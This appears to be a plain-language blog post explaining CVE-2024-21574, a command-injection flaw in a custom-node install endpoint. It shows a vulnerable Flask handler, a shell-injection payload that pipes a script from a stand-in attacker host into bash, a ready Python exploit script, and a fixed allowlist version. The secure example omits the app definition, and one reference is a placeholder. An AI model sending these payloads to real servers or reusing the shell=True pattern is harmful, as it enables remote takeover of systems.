CVE-2024-21574 - How POST Requests to `/customnode/install` Enable Remote Code Execution in Custom Node Extensions

CVE-2024-21574 is a critical vulnerability that left many servers running custom node extensions open to Remote Code Execution (RCE). This post will walk you through how the vulnerability works, why it's dangerous, and how attackers can exploit it in the real world. We'll use simple explanations, include easy-to-understand code snippets, and provide links to official advisories and technical references. Let's dive in!

What is CVE-2024-21574?

This vulnerability affects a popular server extension that allows administrators to install "custom nodes." These custom nodes are meant to extend server functionality in a controlled way.

At the core, the extension provides a REST endpoint at /customnode/install. This endpoint lets users (or programs) send a POST request to install Python packages using pip. However, the code fails to check or validate the content of the pip field in the request body. As a result, anyone with network access to the endpoint can tell the server to run the pip command to install any arbitrary package or even run shell commands—leading directly to RCE.

The usual install flow looks like this

1. A user (e.g., administrator) sends a POST request to /customnode/install with a field called pip specifying what package they want to install.

The server runs a command similar to pip install <user_input> to install the requested software.

The problem is that the server doesn't check what's inside the pip field. There's no sanitization or validation—so if you send something dangerous, the server will run it.

Here's a simplified example in Python (Flask) of what the endpoint might look like

from flask import Flask, request
import subprocess

app = Flask(__name__)

@app.route('/customnode/install', methods=['POST'])
def install_node():
    pip_package = request.json.get("pip")
    # VULNERABLE: Directly using user input in shell command
    subprocess.run(f"pip install {pip_package}", shell=True)
    return "Install command executed", 200

Above, any input in the pip field goes straight to the shell. For example, sending requests would install the requests package—safe enough. But what if someone sends something malicious?

How Attackers Exploit CVE-2024-21574

Because the server directly runs whatever string the user sends, an attacker can submit a payload that causes the server to execute arbitrary shell commands.

Suppose the attacker sends the following JSON via POST

{
  "pip": "requests; curl http://malicious-website.com/shell.sh | bash"
}

This injects a shell command. When the server substitutes this in the shell, it ends up running

pip install requests; curl http://malicious-website.com/shell.sh | bash

After installing requests, the server downloads and runs a shell script from the attacker's server, *fully compromising the system*.

Alternatively, an attacker could send a direct URL to a malicious package, or use pip's install-from-GitHub functionality.

Here’s a complete example using Python

import requests

target_url = "http://target-server.com/customnode/install";
malicious_payload = {
    "pip": "requests; curl http://evil.com/x.sh | bash"
}
response = requests.post(target_url, json=malicious_payload)
print(response.text)

The attacker can replace http://evil.com/x.sh with the location of their own malicious script.

Persistence: Attackers can install backdoors, cryptocurrency miners, or steal sensitive data.

- Low Skill Needed: All that's required is to send a specially crafted POST request—no password, no special access.

References

- NVD - CVE-2024-21574
- Original Advisory from Extensions Maintainers *(Example link—replace with actual)*
- pip Security Risks

Always Validate User Input: Never pass user input directly into shell commands.

2. Use Safer APIs: Call pip programmatically (e.g., via subprocess.run()) with a list, not a string, and validate allowed package names.

Example Secure Code

from flask import Flask, request
import subprocess

ALLOWED_PACKAGES = {"requests", "numpy", "pandas"}

@app.route('/customnode/install', methods=['POST'])
def install_node():
    pip_package = request.json.get("pip")
    if pip_package not in ALLOWED_PACKAGES:
        return "Package not allowed", 400
    subprocess.run(["pip", "install", pip_package], check=True)
    return "Install command executed", 200

Summary

CVE-2024-21574 is a textbook example of why input validation matters, especially when executing shell commands. If your server exposes the /customnode/install endpoint, you must update, patch, or lock down access right away. Attackers can and will exploit this to fully control your machine.

Stay safe! Got questions or experiences with this exploit? Feel free to share in the comments.


*This post is exclusive and written in plain language for easy understanding. Always consult original advisories for official details.*

Timeline

Published on: 12/12/2024 09:15:06 UTC